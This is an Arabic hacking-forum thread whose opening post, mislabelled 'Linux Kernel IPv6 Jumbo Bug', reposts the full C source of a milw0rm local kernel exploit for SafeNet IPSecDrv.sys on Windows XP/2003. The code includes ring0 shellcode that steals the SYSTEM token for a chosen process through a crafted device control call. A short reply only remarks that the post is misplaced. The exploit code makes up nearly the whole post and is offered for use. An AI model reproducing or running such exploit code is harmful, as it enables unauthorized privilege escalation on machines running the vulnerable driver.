ضع اعلانك هنا

ضع اعلانك هنا ضع اعلانك هنا منتديات بوابة الاسلام
التاريخ 2008-8-13 التاريخ 2008-8-15 ضع اعلانك هنا ضع اعلانك هنا
 
قديم 01-30-2008, 02:40 AM   #1 (permalink)
عضو نشيط






GeNErAL KBKB غير متصل

GeNErAL KBKB will become famous soon enoughGeNErAL KBKB will become famous soon enough

m3ic5 Linux Kernel IPv6 Jumbo Bug

كود PHP:
/* safenet-ipsec-call.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Safenet IPSecDrv.sys <= 10.4.0.12 local kernel ring0 indirect call SYSTEM exploit
 * by mu-b - Thu 03 Jan 2008
 *
 * - Tested on: IPSecDrv.sys 10.4.0.12
 *    bundle with: SafeNET HighAssurance Remote, SoftRemote
 *              - Microsoft ******s 2003 SP2
 *
 * user definable offset used in an indirect call.
 *
 * .****:10009970 000 mov     eax, [esp+arg_0]
 * .****:10009974 000 mov     ecx, [esp+arg_4]
 * .****:10009978 000 shl     eax, 4
 * .****:1000997B 000 push    ecx
 * .****:1000997C 004 call    off_1001C604[eax]
 *
 * Note: this can be made universal for all array offsets,
 * relatively easily since we control the offset and therefore
 * the memory address..
 * IPSecDrv.sys 10.4.0.12 - 0x1C604
 *              10.3.5.6  - 0x1B604
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <******s.h>
#include <ddk/ntapi.h>

#define IPSECDRV_IOCTL  0x80002064

#define ARG_SIZE(a)     ((a)/sizeof (void *))

static unsigned char win32_fixup[] =
  
"\x53"
  "\x52"
;

static 
unsigned char win2k3_ring0_shell[] =
  
/* _ring0 */
  
"\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  
/* _sys_eprocess_loop   */
  
"\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  
/* _sys_eprocess_found  */
  
"\x89\xc1"
  "\x89\xf0"

  
/* _cmd_eprocess_loop   */
  
"\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  
/* _not_found           */
  
"\xcc"
  
/* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  
"\x8b\x89\xd8\x00\x00\x00"
  "\x89\x88\xd8\x00\x00\x00"
  "\x90"
;

static 
unsigned char winxp_ring0_shell[] =
  
/* _ring0 */
  
"\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\x70\x44"
  "\x89\xf0"
  
/* _sys_eprocess_loop   */
  
"\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  
/* _sys_eprocess_found  */
  
"\x89\xc1"
  "\x89\xf0"

  
/* _cmd_eprocess_loop   */
  
"\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  
/* _not_found           */
  
"\xcc"
  
/* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  
"\x8b\x89\xc8\x00\x00\x00"
  "\x89\x88\xc8\x00\x00\x00"
  "\x90"
;

static 
unsigned char win32_ret[] =
  
"\x5a"
  "\x5b"
  "\xc2\x04\x00"
;

struct ioctl_req {
  
void *arg[ARG_SIZE(0x4C)];
};

static 
PCHAR
fixup_ring0_shell 
(PVOID baseDWORD ppidDWORD *zlen)
{
  
DWORD dwVersiondwMajorVersiondwMinorVersion;

  
dwVersion GetVersion ();
  
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
  
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

  if (
dwMajorVersion != 5)
    {
      
fprintf (stderr"* GetVersion, unsupported version\n");
      exit (
EXIT_FAILURE);
    }

  switch (
dwMinorVersion)
    {
      case 
1:
        *
zlen sizeof winxp_ring0_shell 1;
        *(
PDWORD) &winxp_ring0_shell[55] = ppid;
        return (
winxp_ring0_shell);

      case 
2:
        *
zlen sizeof win2k3_ring0_shell 1;
        *(
PDWORD) &win2k3_ring0_shell[58] = ppid;
        return (
win2k3_ring0_shell);

      default:
        
fprintf (stderr"* GetVersion, unsupported version\n");
        exit (
EXIT_FAILURE);
    }

  return (
NULL);
}

static 
PVOID
get_module_base 
(void)
{
  
PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
  
PSYSTEM_MODULE_INFORMATION pModuleInfo;
  
DWORD inum_modulesstatusrlen;
  
PVOID result;

  
status NtQuerySystemInformation (SystemModuleInformationNULL0, &rlen);
  if (
status != STATUS_INFO_LENGTH_MISMATCH)
    {
      
fprintf (stderr"* NtQuerySystemInformation failed, 0x%08X\n"status);
      exit (
EXIT_FAILURE);
    }

  
pModuleInfo = (PSYSTEM_MODULE_INFORMATIONHeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORYrlen);

  
status NtQuerySystemInformation (SystemModuleInformationpModuleInforlen, &rlen);
  if (
status != STATUS_SUCCESS)
    {
      
fprintf (stderr"* NtQuerySystemInformation failed, 0x%08X\n"status);
      exit (
EXIT_FAILURE);
    }

  
num_modules pModuleInfo->Count;
  
pModuleBase = &pModuleInfo->Module[0];
  
result NULL;

  for (
0num_modulesi++, pModuleBase++)
    if (
strstr (pModuleBase->ImageName"IPSECDRV.sys"))
      {
        
result pModuleBase->Base;
        break;
      }

  
HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZEpModuleInfo);

  return (
result);
}

int
main 
(int argcchar **argv)
{
  
struct ioctl_req req;
  
LPVOID c_addrp_addr;
  
LPVOID zpagezbufbasepbase;
  
DWORD rlenzlenppid;
  
HANDLE hFile;
  
BOOL result;

  
printf ("Safenet IPSecDrv.sys <= 10.4.0.12 local kernel ring0 SYSTEM exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"
);

  if (
argc <= 1)
    {
      
fprintf (stderr"Usage: %s <processid to elevate>\n"argv[0]);
      exit (
EXIT_SUCCESS);
    }

  
ppid atoi (argv[1]);

  
hFile CreateFileA ("\\\\.\\IPSecDrv"FILE_EXECUTE,
                       
FILE_SHARE_READ|FILE_SHARE_WRITENULL,
                       
OPEN_EXISTING0NULL);
  if (
hFile == INVALID_HANDLE_VALUE)
    {
      
fprintf (stderr"* CreateFileA failed, %d\n"hFile);
      exit (
EXIT_FAILURE);
    }

  
zpage VirtualAlloc (NULL0x10000MEM_RESERVE|MEM_COMMITPAGE_EXECUTE_READWRITE);
  if (
zpage == NULL)
    {
      
fprintf (stderr"* VirtualAlloc failed\n");
      exit (
EXIT_FAILURE);
    }
  
printf ("* allocated page: 0x%08X [%d-bytes]\n",
          
zpage0x10000);

  
c_addr zpage;
  
base get_module_base ();
  
p_addr = (LPVOID) ((DWORD) ((LPVOID) &c_addr - (base 0x1C604)) / 16);
  
printf ("* base: 0x%08X, p: 0x%08X\n"base 0x1C604, &c_addr);
  
printf ("* call distance: 0x%08X\n"p_addr);

  
memset (zpage0xCC0x10000);
  
zbuf fixup_ring0_shell (baseppid, &zlen);
  
memcpy (zpagewin32_fixupsizeof (win32_fixup) - 1);
  
memcpy (zpage sizeof (win32_fixup) - 1zbufzlen);
  
memcpy (zpage sizeof (win32_fixup) + zlen 1,
          
win32_retsizeof (win32_ret) - 1);

  
memset (&req0sizeof req);
  
req.arg[0] = p_addr;

  
/* jump to our address   :)   */
  
printf ("* jumping.. ");
  
result DeviceIoControl (hFileIPSECDRV_IOCTL,
                            &
reqsizeof req, &reqsizeof req, &rlen0);
  if (!
result)
    {
      
fprintf (stderr"* DeviceIoControl failed\n");
      exit (
EXIT_FAILURE);
    }
  
printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n"
);

  
CloseHandle (hFile);

  return (
EXIT_SUCCESS);
}

// milw0rm.com [2008-01-29] 
المصدر : http://www.milw0rm.com/exploits/5004
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 
قديم 02-02-2008, 10:04 PM   #2 (permalink)
عضو فعال
 
الصورة الرمزية Dr.the bright boy







Dr.the bright boy غير متصل

Dr.the bright boy will become famous soon enoughDr.the bright boy will become famous soon enough

افتراضي رد: Linux Kernel IPv6 Jumbo Bug

يا جنرال كباب يا هلا وسهلا فيك هذا مو مكانه هنا ....

كود:
IPSecDrv.sys <= 10.4.0.12 local kernel ring0 indirect call SYSTEM exploit

يعدين ذبحتونا بالميل وورم هههههههههه
 
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
إضافة رد

Linux Kernel IPv6 Jumbo Bug

منتدى أدوات وبرامج الإختراق





الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are معطلة
Pingbacks are معطلة
Refbacks are متاحة


الساعة الآن 06:47 PM.

عدد الكلمات الدلالية 70 الاكثر بحث في الموقع
الكلمات الدلالية
اخبار ادوات اطفال الاستثمار البرفست البيزون الدروس الروافض السعوديه السنه الشيعه العاب الفلاش الفوتو شوب الكويت المجوس المهدي الهكر ايران برامج برامج اختراق برامج هكر بنات تحميل تشفير تشقير الصفحات تطوير تعليم ثغره جرائم جوال حماية حوار دروس دومين رواتر شرح صميم صوره فضائح فيديو كتاب كراك كمبيوتر محاضرات منتدى مودم نطاق نوكيا هوز bifrost buffer crypter domain downloader exploit file inclusion iran local overflow password poison python server shellcode sql injection trojan version vulnerability youtube


روابط مهمة

أقسام المنتدى


الرسول الإنسان | الدفاع عن أهل السنة | فضائح و جرائم الروافض | السنه | الحوارات الهادفة | الفلاش والسويتش | الفوتوشوب | دورة الفوتوشوب | صور | العاب | البرامج المشروحه | الفرفشه والمرح | الرياضة | الفايروسات | الهاردوير والصيانة | تطوير المنتديات والمواقع | دورة تطوير منتديات vb | الحمايه | اختراق المواقع والسيرفرات | هكرز | اختراق الشات والاميل | ثغرات | البرامج | الفيجوال بيسك | المواضيع العامه | القصص واللغات|  شات


Powered by vBulletin Version 3.7.1
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd
لا تتحمل إدارة منتديات عالم المعرفة أية مسؤولية حول أي موضوع يطرح في المنتدى فإن المكتوب يعبر عن رأى صاحبه أو ناقلة

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58